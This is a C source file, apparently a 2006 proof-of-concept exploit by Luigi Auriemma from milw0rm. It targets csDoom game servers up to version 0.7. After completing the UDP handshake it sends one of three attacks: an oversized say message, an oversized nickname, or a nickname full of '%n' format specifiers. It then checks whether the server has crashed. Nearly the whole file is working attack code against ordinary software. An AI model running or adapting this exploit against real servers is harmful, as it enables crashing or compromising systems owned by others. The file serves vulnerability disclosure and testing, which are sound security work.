/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/param.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER                 "0.1"
#define PORT                10666
#define BUFFSZ              8192
#define BOFSZ1              2048
#define BOFSZ2              2048
#define FORMATSTRING        "%n%n%n%n%n%n%n"

#define PUT16(x,y)          *(u_short *)x = y; \
                            x += 2;
#define PUT32(x,y)          *(u_int *)x = y; \
                            x += 4;

#define CHALLENGE           5560020     // challenge
#define LAUNCHER_CHALLENGE  777123      // csdl challenge
#define VERSION             70
#define S2C_CHALLENGE       10
#define S2C_CONNECTION      11
#define S2C_FULL            12

#define clc_disconnect      3
#define clc_say             4
#define clc_move            5
#define clc_userinfo        6
#define clc_svgametic       7
#define clc_rate            8
#define clc_ack             9
#define clc_rcon            10
#define clc_rcon_password   11
#define clc_changeteam      12



int info_proto(u_char *data, int len);
int create_bof_string(u_char *data, int len);
int create_rand_string(u_char *data, int len, u_int *seed);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;



int main(int argc, char *argv[]) {
    u_int   seed;
    int     sd,
            i,
            len,
            chall = CHALLENGE,
            attack;
    u_short port = PORT;
    u_char  buff[BUFFSZ],
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "csDoom <= 0.7 multiple vulnerabilities " VER "\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attack:\n"
            " 1 = buffer-overflow in SV_BroadcastPrintf\n"
            " 2 = buffer-overflow in SV_SetupUserInfo\n"
            " 3 = format string in Printf\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(argc > 3) port    = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    seed = time(NULL);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    printf("- query server:\n");

    p = buff;
    PUT32(p, LAUNCHER_CHALLENGE);
    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);
    chall = info_proto(buff, len);

    printf("- start connection:\n");

    p = buff;
    PUT32(p, chall);
    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

    if(buff[0] != S2C_CHALLENGE) {
        close(sd);
        if(buff[0] == S2C_FULL) {
            printf("\nError: server is full\n\n");
        } else {
            printf("\nError: client has not been accepted (%hhu)\n\n", buff[0]);
        }
        exit(1);
    }

    p = buff;
    PUT16(p, VERSION);
    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

    if(buff[0] != S2C_CONNECTION) {
        close(sd);
        printf("\nError: your client has been disconnected (wrong version?) (%hhu)\n\n", buff[0]);
        exit(1);
    }

    p = buff;
    *p++ = clc_userinfo;
    if(attack == 2) {                       // nickname
        printf("- send big nickname\n");
        p += create_bof_string(p, BOFSZ1);

    } else if(attack == 3) {
        printf("- send formatted nickname\n");
        p += mycpy(p, FORMATSTRING);

    } else {
        printf("- send nickname\n");
        p += create_rand_string(p, 16, &seed);
    }
    p += create_rand_string(p, 16, &seed);  // teamname
    PUT32(p, seed);                         // rate value

    if((attack == 2) || (attack == 3)) {
        len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
        goto quit;
    }

    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1);

    if(attack == 1) {
        printf("- send big say message\n");
        p = buff;
        *p++ = clc_say;
        p += create_bof_string(p, BOFSZ2);

        len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);
    }

//    printf("- disconnect\n");
//    p = buff;
//    *p++ = clc_disconnect;
//
//    len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0);

quit:
    close(sd);

    printf("- wait some seconds\n");
    for(i = 3; i; i--) {
        printf("%d\r", i);
        sleep(ONESEC);
    }

    printf("- check server:\n");

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    PUT32(p, LAUNCHER_CHALLENGE);
    if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server does not seem vulnerable\n\n");
    }

    close(sd);
    return(0);
}



int info_proto(u_char *data, int len) {
    int     ver,
            num;
    u_char  *limit;

    limit = data + len;
    ver = *(u_int *)data;                                   data += 4;
    printf("  Version    %d\n", ver);
    printf("  Hostname   %s\n", data);                      data += strlen(data) + 1;
    printf("  Players    %hhu/%hhu\n", data[0], data[1]);   data += 2;
    printf("  Mapname    %s\n", data);                      data += strlen(data) + 1;
    if(*data++) {
        printf("  Wad        %s\n", data);                  data += strlen(data) + 1;
    }
    printf("  Deathmatch %hhu\n", *data++);
    printf("  Gameskill  %hhu\n", *data++);
    printf("  Teamplay   %hhu\n", *data++);
    printf("  Fragstats  %s\n", data);                      data += strlen(data) + 1;
    printf("  DMFlags    %u\n", *(u_int *)data);            data += 4;
    num = *data++;
    if(num) {
        printf("  Players:\n");
        while(num--) {
            printf("    %s ", data);                        data += strlen(data) + 1;
            printf("  %hu ", *(u_short *)data);             data += 2;
            printf("  %hu\n", *(u_short *)data);            data += 2;
        }
    }

    return(ver);
}



int create_bof_string(u_char *data, int len) {
    memset(data, 'a', len);
    data[len] = 0;
    return(len + 1);
}



int create_rand_string(u_char *data, int len, u_int *seed) {
    u_int   rnd;
    u_char  *p;
    const static u_char table[] =
                "0123456789"
                "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                "abcdefghijklmnopqrstuvwxyz";

    rnd = *seed;
    p   = data;

    len = rnd % len;
    if(len < 6) len = 6;

    while(--len) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        rnd >>= 3;
        *p++ = table[rnd % (sizeof(table) - 1)];
    }
    *p++ = 0;

    *seed = rnd;
    return(p - data);
}



int mycpy(u_char *dst, u_char *src) {
    u_char  *p;

    for(p = dst; *src; src++, p++) {
        *p = *src;
    }
    *p++ = 0;
    return(p - dst);
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
    int     retry,
            len;

    if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 2)) break;
        }

        if(!retry) {
            if(!err) return(-1);
            fputs("\nError: socket timeout, no reply received\n\n", stdout);
            exit(1);
        }
    } else {
        if(timeout(sd, 3) < 0) return(-1);
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);
}



int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2006-03-26]
